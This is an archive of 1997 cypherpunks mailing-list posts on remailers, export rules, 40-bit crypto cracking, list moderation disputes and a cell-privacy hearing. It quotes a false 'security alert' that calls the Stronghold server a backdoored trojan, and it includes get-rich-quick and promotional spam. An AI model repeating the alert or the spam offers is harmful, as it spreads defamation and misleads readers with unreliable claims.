Sender: owner-cypherpunks@toad.com
Precedence: bulk
Status: RO

c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 17:06:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: BXA Encryption Regs
Message-ID: <1.5.4.32.19970208010019.0068b980@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Federal Register: February 7, 1997, Page 5797-5798:

Bureau of Export Administration
 
Sensors and Instrumentation Technical Advisory Committee; 
Partially Closed Meeting

A meeting will be held March 4, 1997, 9 a.m., in the Herbert C. Hoover 
Building, Room 1617M-2, 14th Street between Constitution and 
Pennsylvania Avenues, N.W., Washington, DC.

Agenda, General Session

    1. Opening remarks by the Chairman.
    2. Report on the status of The Wassenaar Arrangement.
    3. Discussion on the Encryption Reg.
    4. Presentation of papers or comments by the public.

----------

A bit more on this in the full notice at: 

   http://jya.com/bxa020797.txt

----------

Note: February 13 is the cutoff for comments on EAR for EI:

   http://jya.com/bxa123096.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 7 Feb 1997 20:18:14 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
In-Reply-To: <199702071513.HAA24904@toad.com>
Message-ID: <3.0.1.32.19970207200944.005c0ac0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:37 AM 2/7/97 -0500, Vin McLellan wrote:
>	Now, an international institution which buys and bets the bank upon
>US-exportable (40-bit) cryptography probably deserves what it has bought:
> [...] even 56-bit keys -- whatever the algorithm! -- offer only "minimal"
security.
>(What Goldberg did in hours, many could do in a days or weeks with much
>less equipment.  

You don't bet the bank on 40-bit crypto, unless you're, ummm, accepting 
credit cards over wimp-configured sessions of SSL.  (You, as merchant,
may not lose if there's a forgery, and your customer's loss may be limited
to $50,
but the bank's loss isn't limited except by how fast they can block thieves.)

While banks get Extra Slack on crypto exports, and can use 56-bit DES,
they've got more serious adversaries - building a $1M machine to win a $1000
contest is a bit expensive for the average grad student, but it's a 
perfectly reasonable investment if you're planning to rob banks of
millions of dollars with it, especially if you think you can either
siphon the money off slowly while hitting a lot of banks or else
make a really big haul all at once.  

Banks aren't the only kind of company with big money floating around;
stockbrokers, commodities traders, purchasing departments of big companies
that might not notice that they're buying a few percent more parts,
and all sorts of other large companies are targets for crypto-cracking
thieves.
Because well-funded thieves can do this kind of financial damage,
we have a legitimate-sounding spin on "Federal law enforcement's job includes 
preventing large-scale theft, and they're letting their political agenda
get in the way of doing their job.  Sure, 56-bit keys are harder to crack
than 40,
but well-funded crackers could use the same techniques Ian did."

Either method of theft requires being non-stupid enough not to get caught
afterwards 
(like the $(24?)M computerized bank job last year), and having your
"partners" 
not rip you off; a big heist also risks detection by tracking chip
purchases, and
provoking the Feds into banning "ASIC Laundering" and criminalizing 
illegal possesion of field-programmable gate arrays and such paranoid
silliness.

..>> the same Strassmann 
Yeah, him :-)

>	(It was a usefully overheated hook for some article on compsec, but
>I don't think I ever used it.  Reminded me too much of warnings that
>someone was bound to someday taint the city water reservoir with LSD;-)
But we _were_ planning to enhance the water that way, back in the 60s! :-)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 13 Feb 1997 08:50:11 -0800 (PST)
To: ichudov@algebra.com
Subject: distributed mailing list architecture
In-Reply-To: <199702130606.AAA17590@manifold.algebra.com>
Message-ID: <199702072011.UAA00463@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> I'd suggest a simplier solution: to connect each server with a couple,
> or maybe three, other servers. This scheme is rather robust, does not
> consume too much CPU time and bandwidth, and is easy to implement.

I'm not sure what the architecture you are suggesting is, but this is
what I suggest as the simplest to set up.

Have one main majordomo.

Have many mail-exploders.

You subscribe to the main majordomo request address, and it forwards
your subscription request to a random mail-exploder.

You unsubscribe to the main majordomo request address, and it forwards
your subscription to all the mail-exploders request addresses
(unsubscribe traffic is low anyway, keeping track of who is subscribed
where at the main major domo doesn't seem worth it).

Each person who wishes to run an exploder is subscribed (manually) to
the main majordomo.

You submit articles to the main majordomo, and it sends copies of the
articles to it's subscribers (the mail-exploders).

The mail-exploders send mail to the address on their subscriber lists.

(John Gilmore suggested this architecture, as a simpler alternative).

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 13 Feb 1997 08:50:05 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: How to make majordomo request confirmations of subscriptions?
In-Reply-To: <199702130324.VAA12219@manifold.algebra.com>
Message-ID: <199702072018.UAA00465@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com>
> I would like to set up my majordomo to request subscription
> confirmations from users, by sending them a cookie. Looking at the
> majordomo config files, I have not found such option.
> 
> Ideally I would like to have a system that a) requires the
> new users confirm new subscriptions and b) once in a while
> asks users to confirm their existing subscriptions.
> 
> Is there any way to do it?

Perry Metzger <perry@piermont.com> does this for cryptography@c2.net.
I asked him what modifications to majordomo he used, and he said he
has no mods.  I think that you just need to upgrade to the latest
version.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Fri, 7 Feb 1997 20:27:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: What else do I need for an Internet Server
Message-ID: <199702080427.UAA04975@f29.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


What else do I need for an internet server?

HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
speed hard drives.  These are the Tall Towers that have multiple 
drives, these are server towers.

I think I have a router Hub.  And a couple LAN cards.

That's all I have.  But I just got them, and I want to use them.  I assume I
will be using some kind of UNIX software.

Thanks:


otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Fri, 7 Feb 1997 18:00:32 -0800 (PST)
To: mpd@netcom.com
Subject: Re: My messages not appearing on either of the lists?
Message-ID: <01IF5CJ0Z2MO9AN53S@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"mpd@netcom.com"  "Mike Duvos"  7-FEB-1997 20:56:39.36

>That's all very nice, but I should point out that I have not yet
>seen my message to which you are responding on the filtered list. 

>Others mileage may vary. 

	IIRC, Majordomo sends out messages _approximately_ in the order
of the person's subscription. In any event, it has to send them out in _some_
order, and on a mailing list as large as cypherpunks, it's going to take a
while to get from one end to the other.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: action@answerme.com
Date: Fri, 7 Feb 1997 21:11:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: ** THE 30 SECOND COMMUTE **
Message-ID: <199702080511.VAA09794@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,
Date: Fri, 7 Feb 1997 23:15:29 -0600
Message-Id: <05152934600809@sitegen.net>




         WELCOME TO THE 30 SECOND COMMUTE...45, IF YOU GRAB SOME COFFEE!
        
 Let's take a trip back to 1950 and imagine that my name is Ray Crock and I want to tell 
 you about a little restaurant named McDonald's.  If you had bought the stock that I was 
 selling then, you'd certainly be doing the 30 second commute now!! 
 Seriously, had you bought that stock then, it would've been the right decision.


 Fact is, it's 1997, I don't own McDonald's corporation and I'm not selling anything. 
 
 What I want to know is:

 1.  Would you spend 3 or 4 minutes a day to make $300 or $400 a week to spend on yourself 
     and family?
 2.  Would you trade $100 for $600 ?
 3.  If you got promoted to president of the company, would you accept?
 4.  Would you make the right decision now, if you had to?
 5.  Would you e-mail me to see how you can do the 30 second commute?

 mailto: action@answerme.com
 
 Matt Emerson
 Toll Free: 1 800-976-8608
 Fax:         602 641-3514
 InterNet Address: http://www.rb-dist.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Fri, 7 Feb 1997 10:37:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
In-Reply-To: <199702051526.HAA28782@toad.com>
Message-ID: <m0vsnkw-000JGWC@cognac.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain


> On 1/18/97, I sent freedom of information act requests to the FBI (main and
> San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
> of information in their files relating to or referring to the cypherpunks
> list, the cypherpunks meetings, and copies of any messages sent from or to
> "cypherpunks@toad.com".

[...]

> I'm not sure what I think about the response from the SF FBI branch - it
> seems unlikely that they'd never have paid any attention to the list, given
> the media coverage in Wired and other places. On the other hand, maybe the
> FBI doesn't read Wired. :) While they're not supposed to be monitoring
> noncriminal domestic activity, I figured they'd at least have something about
> the Mykotronix stuff. 
> 

If you think so, you may wish to consider filing an FOIA request 
for the Mykotronix stuff, and see if it mentions cypherpunks; 
it could provide an interesting perspective on their response.

John P.
john@huiac.apana.org.au






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 7 Feb 1997 21:44:01 -0800 (PST)
To: bs-org@c2.net
Subject: Re: lead remailer is shut down
In-Reply-To: <199702080056.QAA05146@toad.com>
Message-ID: <3.0.1.32.19970207214237.00635e08@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Raph's remailer list is at
   http://www.cs.berkeley.edu/~raph/remailer-list.html
and indicates lots of different remailer features,
including whether they accept or require PGP,
and what reliability they've been getting recently.

The remailer that was shut down was the remailer named "lead";
you may have noticed that your reply went to a machine named "zinc".....

At 11:56 PM 2/7/97 +0100, you wrote:
>Can anybody give me the address of reliable remailer which accepts
>pgp messages.
>
>BTW which remailer was shut down and why?
>
>
>
>
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 21:37:26 -0800 (PST)
To: Against Moderation <cypherpunks@toad.com
Subject: Re: The Frightening Dangers of Moderation
In-Reply-To: <19970208043115.2364.qmail@anon.lcs.mit.edu>
Message-ID: <v03007809af21b7779b24@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:31 AM +0000 2/8/97, Against Moderation wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Well, folks, tonight I have witnessed the frightening dangers of
>moderation and censorship first-hand, and would like to tell you what
>has happened.  I think there is an important lesson to be learned from
>these incidents.

(long account of getting legal threats for quoting a message about CENSORED
elided)

This is indeed an important incident. I hope we can discuss it. Many issues
central to Cypherpunks are involved. To name a few:

* the moderation/censorship issue itself (though we have probably beaten
this one to death in the last few weeks).

* the "libel" issue, especially as it involves Sandy, his company, and the
machine the list is hosted from. The introduction of a censor has, as many
of us predicted, raised serious libel and liability issues. (This is the
best reason I can think of it to move to an "alt.cypherpunks" system, where
bypassing of liability, libel, copyright violation, etc.,  laws is
naturally handled by the globally decentralized and uncontrolled nature of
Usenet.)

* conflicts of interest issues. Apparently Sandy feels information
deleterious to C2Net, having to do with a claimed CENSORED in the software
product CENSORED, cannot be passed by him to _either_ of the two lists to
which articles are supposed to be sent. (Sadly, he did not tell us of this
meta-censorship when it happened. This made what he did deceptive as well
as wrong.)

* chilling of discussion. As "Against Moderation" notes, merely _quoting_
the article of another caused Sandy to not only reject his article, but
also to contact him and raise the threat of legal action. (This even though
Against Moderation added all sorts of "obviously false" comments to what
Vulis had written.)

* even more threats. At the request of CENSORED today, I called CENSORED
and had a verbal communication with him (a nice guy, by the way) about this
situation. He averred that "you don't want to be pulled into this," and
suggested that if I post certain things, even quoting the reports that a
CENSORED exists in CENSORED, I could well be sued by the lawyers of his
company!

These are issues which remailers, decentralized servers, anonymity, data
havens, and other Cypherpunks technologies make important issues for us to
discuss.


When did Cypherpunks start thinking about libel? (Obvious answer: when
_their_ companies were the targets of criticism, lies, libel, whatever.)
It's not as if insulting or even "libelous" (I'm not a lawyer) comments
have not been made routinely on the list. Insulting companies and other
institutions has been standard Cypherpunks fare since the beginning.
Mykotronx has been accused of high crimes, RSADSI has been declared to be
placing backdoors in code, Phil Zimmermann has been declared to be an NSA
plant ("only trust the versions of PGP before he cut the deal to get his
freedom"), and so on. Think about it. Just about any company with any
product related to crypto has at one time or another had their motives
questioned, their products slammed, etc.

Unfortunately, our Late Censor is an employee of one of the companies so
slammed, and he has reacted by rejecting one or more of these slams without
bothering to tell the list that he has to do so. (Were it me, I would have
"recused" myself from the decision, or at least told the list in general
terms what was going on, or, more likely, resigned as censor. But then I
would never have been a list.censor in the first place.)

I understand that Sandy is stepping down as our Moderator. The Censor is
Dead, Long Live Sandy! I expect to harbor no continuing resentment toward
Sandy (though I expect things will be strained for a while, as might be
expected).

The issues raised are ugly ones. Here's what scares me: the "precedent" may
irretrievably be established that companies offended by words on the list
will threaten legal action to recover their good name. I can imagine
Mykotronx or even First Virtual citing the actions of C2Net as a precedent
(a cultural precedent, to the extent there is such a thing) for their own
legal letters.

As with the terrible precedent set by the "even Cypherpunks had to censor
themselves" experiment, these companies may be able to say "But even a
Cypherpunk-oriented company realized that the antidote for damaging speech
was not rebutting speech. No, these Cypherpunks realized that some
threatening letters and pulling the plug on the speaker was a better
approach."

And we won't be able to easily argue that Mykotronx has no right to do this
while C2Net does.

Sandy, in his message a few hours ago to Against Moderation, even made the
claim (and Sandy _is_ a lawyer, or at least once was) that John Gilmore
could be held liable for speech on the Cypherpunks list. (I don't doubt the
"could," but I hate like hell to see a Cypherpunkish company leading the
charge.)

Perhaps this is true. But the Censorship experiment, and the resulting
threats of legal action by C2Net to stop mention of the alleged CENSORED in
their product CENSORED, fuel the fire. Instead of denigrating such legal
moves--as I'm sure most Cypherpunks would have done a few years ago if
RSADSI were to try to sue people for making outrageous claims--we have a
major company consisting of several leading Cypherpunks making just such
threats.

I'm not a legal scholar, but is it really the case that merely _alluding_
to the allegedly libelous comments of another is itself a libel? Is a
reporter who writes that "Person X has alleged that Product Y has a Flaw Z"
thus committing a libel? (I don't think so, as reporters frequently report
such things. If merely quoting an alleged libel is also libel, then
presumably a lot of reporters, and even court clerks reporting on cases,
are libelers.)

(ObLisp reference: quoting an expression ought to have a different return
value than evaluating an expression! That's what quotes are for.)

My comments this past week have not been motivated by animosity toward
Sandy, and certainly my comments today are not motivated by any animosity
about C2Net or any of its employees (including CENSORED, whom I spoke with
today).

My comments started out as being a summary of why I had left Cypherpunks
when the Great Hijacking was announced. Since last Sunday, when I issued my
"Moderation" post, I've only responded to messages I was CC:ed on, or to
messages on the Flames list, which I subscribed to temporarily to better
see what Sandy was calling flames. The discovery that certain posts were
not appearing on either the Main list or the Flames list triggered today's
comments about Sandy and the alleged CENSOREDCENSOREDCENSORED (blah blah
blah).

I hope we can declare this Censorship experiment a failure and move on.
However,  it is almost certain that as a result of attempts to suppress
certain views, that the move back to an unfiltered state will mean that
some will use anonymous remailers and nym servers to post even _more_
claims, however outrageous.

This is a predictable effect. Cf. Psychology 101 for an explanation.
Kicking Vulis off the list predictably produced a flood of Vulis
workarounds, and a surge in insults via anonymous remailers. Instituting
censorship of the list triggered a flood of comments critical of the
experiment, and a predictable "testing" of the censorship limits. And,
finally, now that C2Net is threatening legal action to stop
discussion--even in quotes!!--of alleged CENSORED in CENSORED, expect a lot
of repetition of these claims via remailers. And, I predict, claims about
CENSORED will even be spread more widely, e.g., on the Usenet.

(Sadly, I half expect a letter from some lawyers or lawyer larvae saying I
am "suborning libel," or somesuch nonsense. As Sandy would say, "piffle."
Lawyers, take your best shot.)


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 19:04:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Brassard on Grover's Shake
Message-ID: <1.5.4.32.19970208025912.006a41a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Gilles Brassard writes on Grover's "quantum shake" searching 
algorithm, demonstrates how it would break DES, and assays the 
promise of QC research. He notes that enviable NSA funds favor 
LAQC.

-----

   http://jya.com/qshake.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 7 Feb 1997 14:07:33 -0800 (PST)
To: tcmay@got.net
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
Message-ID: <19970207220720.15530.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Okay, I went through my old mail, and I'm fairly sure this is the
message.  I'm convinced it never went to the flames list, and now that
I've found out I'm on the -unedited list after all, I think it
probably didn't go to the regular cypherpunks list either.  Can people
on the various lists confirm this for me?

Given the total lack of technical content, the flamey nature of the
article, and the fact that it is verifiably false (stronghold source
code is available), I can see people arguing it should have gone to
-flames (though I would probably disagree).  However, I don't want to
debate that.  What I object to more strongly and think is wrong is the
fact that it went to *neither* list.

A lot of people out there are subscribing to the cypherpunks-flames
and cypherpunks lists thinking that they will see everything that gets
rejected (albeit with a substantial delay).  If this is not the case,
it should be made clear.  Otherwise, it's not moderation, but
dishonesty.

--

>From cypherpunks-errors@toad.com  Thu Jan 30 17:26:50 1997
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Security alert!!!
To: cypherpunks@toad.com
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id OAA18833; Thu, 30 Jan 1997 14:17:05 -0800 (PST)
Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id OAA18824; Thu, 30 Jan 1997 14:16:39 -0800 (PST)
Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP;
        id AA02017 for ; Thu, 30 Jan 97 16:57:10 -0500
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Thu, 30 Jan 97 16:19:19 EST
	for cypherpunks@toad.com
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Lines: 19

WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 7 Feb 1997 19:58:48 -0800 (PST)
To: Ed.Falk@Eng.Sun.COM (Ed Falk)
Subject: Re: ANNOUNCEMNT: February 1997 keysigning session
In-Reply-To: <199702072349.PAA20677@peregrine.eng.sun.com>
Message-ID: <199702072202.WAA19978@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702072349.PAA20677@peregrine.eng.sun.com>, on 02/07/97 at 05:49 PM,
   Ed.Falk@Eng.Sun.COM (Ed Falk) said:


>We have enough people who want to have a PGP keysigning session at tommorrow's
>meeting to make it worthwhile.  We'll probably be doing it at 17:00 or
>thereabouts.

Unfortunatly I have too much work to make the 3,000 miles to get there. :(

Would it be possiable at the next meeting to set up a CU-SEE-ME session for
those of us who do not live in the Bay Area?

Thanks,

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I'm an OS/2 developer...I don't NEED a life!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

iQCVAwUBMvv9D49Co1n+aLhhAQE1lgP/Sh0Mszii6dvSkssMI3rTHllz+EbFrtKk
k3qOPFkBSRbsaSXBTopenUjNpbbHANgzzUJRnekaUJIyZbTGRY9PF+QAFcsF/vXI
2HIjnStiyXdgESPE0YFPRiTzrkR5/18Ga2s20AlWXgaQApSSmIAhwrFWjmi1kQws
y0n+CZwqa0U=
=A+nO
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Veeneman <cypherp@decode.com>
Date: Fri, 7 Feb 1997 21:08:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Congressional cell phone security hearing
Message-ID: <5LHs2D1w165w@decode.com>
MIME-Version: 1.0
Content-Type: text/plain



Hyperbole flew hot and heavy during a February 5 hearing on cellular
telephone privacy chaired by Louisiana Republican Billy Tauzin.  The
House Commerce Subcommittee on Telecommunications, Trade, and Consumer
Protection held a hearing titled "Is anybody listening?  You betcha."

Subcommittee members were shocked, just shocked to learn that,
according to a hyper-animated Thomas Wheeler (president of the
Cellular Telephone Industry Association), Americans are engaged
in "electronic stalking" of cellular telephone users.

Further details of CSPAN pandering and Ed Markey's (D-MA) Humpty Dumpty
imitation ("words mean whatever I want them to mean") elided.


Some notable moments:

Representative Cliff Stearns (R-FL), during a discussion about
encryption, called PGP "a darn good program."

Jay Kitchen, head of the Personal Communications Industry Association,
related an (apocryphal?) story about MI5 requiring 2 Crays to run for
3 days to break a single GSM.


Jim Kallstrom, Assistant Director FBI and head of the New York field
office, woodenly delivered his (IMHO unfocused) testimony and reported
that on the first day of the TWA Flight 800 crash investigation he
determined that the news media knew more than they should, so he
confiscated the cell phones of the FBI agents and locked them away,
under the (reasonable) presumption that reporters were listening to
FBI cell phone calls.

Jimmy also reiterated the FBI line that their new wiretap requirements
were reasonable and necessary to protect American citizens from
terrorists.


Dan
dan@decode.com

--
cypherp@decode.com (Dan Veeneman)
Cryptography, Security, Privacy BBS  +1 410 730 6734   Data/FAX




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 7 Feb 1997 20:45:40 -0800 (PST)
To: ichudov@algebra.com>
Subject: Re: Sandy suppresses truth about his moderation policy
In-Reply-To: <199702080114.TAA06881@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970207233351.3195A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 7 Feb 1997, Igor Chudov @ home wrote:

> Below are some interesting facts implying that:
> 
> 1) Sandy uses a bot to reject articles of people he does not like

I see no evidence to substantiate this claim.  People who would be most likely
to get auto-blocked have managed to get at least one post sent to the moderated
list.

> 2) When I exposed him with an article showing all Received: dates, 
> he
> 	a) rejected the article exposing him

The only thing your previous post proved is that toad.com has a very little
delay between receiving and sending mail to cypherpunks-unedited.  Notice that
the post in question does not have an altered Message-Id and the sender is set
to owner-cypherpunks, not owner-cypherpunks-unedited which appears in all
messages sent to the flames list.

> and
> 	b) changed his moderation software so that Received: headers
> 	   for the cypherpunks-flames do not show the times when 
> 	   messages came in

The modification was made after there was the problem of the received headers
exposing the supposedly secret outgoing destination address of the moderated
list.  This change was certainly made before February 6, the date the post in
question was posted.  Also, John would have made this modification; not Sandy.


Mark


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMvwF/CzIPc7jvyFpAQE0lwf8Dx8bY2WUKDZQ4piOc0XRgY0LpbCOcbXZ
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IkkBDp+RyA1QpTsEU1fQjNJR0LQBoIa/fVKyAzKJSD66tCHHneIvc4IrXAciobE1
9WX+h6r5wBjXkVEI9mgehrprqBRIRaNgURunyCavbXPbiEoS7bflBfKBLurj7OQf
uAERvyX6YYv7ZaycV9Qjx33ozrSrMzARbahx+ryWrO5MUuoZ9fabyeS61xr141Cv
QCPRyxq1Pl2TcJF2otpxpCuzoty4VzEONDib+O+BkNDPo9sGx8a/8w==
=J1Sw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Fri, 7 Feb 1997 14:57:17 -0800 (PST)
To: zinc@zifi.genetics.utah.edu
Subject: Re: lead remailer is shut down
Message-ID: <1.5.4.16.19970207225648.2fff933a@c2.net>
MIME-Version: 1.0
Content-Type: text/plain


At 11:58 1997-02-07 -0800, Ed Falk wrote:
>
>Can't remailers be written with basic spam safeguards?  I.e. no mass
>crossposts, limited # of posts by each individual client per day, etc.?

Can anybody give me the address of reliable remailer which accepts
pgp messages.

BTW which remailer was shut down and why?








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Fri, 7 Feb 1997 14:59:02 -0800 (PST)
To: zinc@zifi.genetics.utah.edu
Subject: Re: lead remailer is shut down
Message-ID: <1.5.4.16.19970207225846.2fffa470@c2.net>
MIME-Version: 1.0
Content-Type: text/plain


At 11:58 1997-02-07 -0800, Ed Falk wrote:
>
>Can't remailers be written with basic spam safeguards?  I.e. no mass
>crossposts, limited # of posts by each individual client per day, etc.?

Can anybody give me the address of reliable remailer which accepts
pgp messages.

BTW which remailer was shut down and why?








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E-Mail Communications" <freedom@econopromo.com>
Date: Fri, 7 Feb 1997 22:05:46 -0800 (PST)
To: you@alberta.sallynet.com
Subject: Internet  Alert!    Pay for local dial-up??
Message-ID: <199702080516.AAA11248@alberta.sallynet.com>
MIME-Version: 1.0
Content-Type: text/plain



*****************************************

INTERNET USERS ALERT!!!   It has come to our attention that several
local telephone companies have petitioned the FCC for permission
to charge Internet Users by the minute for  LOCAL  dial-up telephone 
service.  This would affect every Internet User, including those
using AOL dial-up. 

For more information,  see the FCC site: http://www.fcc.gov/isp.htm.  
Please send an E-Mail to  isp@fcc.gov
to express your outrage at the idea of allowing telephone companies
to charge by the minute for LOCAL dial-up service.  E-Mail comments
must be sent by Feb. 13th, 1997.  This affects every Internet user!!

*******************************************

  - FREEDOM NEWSLETTER -
Feb. 7th,  1997

*******************************************


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come to your E-Mail  mailbox twice a month, with exciting new
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we feature great golf / vacation offers!    It's FREE!! To subscribe -
 HIT REPLY and type:  SUBSCRIBE GOLF   

_______________________________

ATTENTION BUSINESS OWNERS - RETAIL SALES
MANAGERS,  PROMOTERS, ETC.

Reward your best customers with a deluxe, luxury
vacation to Orlando, Florida!  With our new Orlando
Voucher your customer will receive four days and
three nights at the Orlando / Westgate Ramada
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World).  Included with this voucher are TWO FREE
ROUNDS OF GOLF, a $500 Fun Book, and more!
Your cost for these exciting vouchers can be as
low as $20 each. 

For complete details,  HIT REPLY  and type:     VOUCHER 

(Vouchers are for incentive purposes only)

_______________________________

Tax Trouble?  Have not filed for a while?  We will do older returns,
federal, any state.  Ask us how many years you need to file. Missing
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offer.  http://www.filetax.com .  We will help, no guilt, no attitude.
 Interline Employee?? Check:  http:www.filetax.com/flight.html For
free Info by E-Mail -  HIT REPLY and type:   TAX
________________________________

Wouldn't you rather be on  a Sea Cruise?  Deep Discounted Cruise
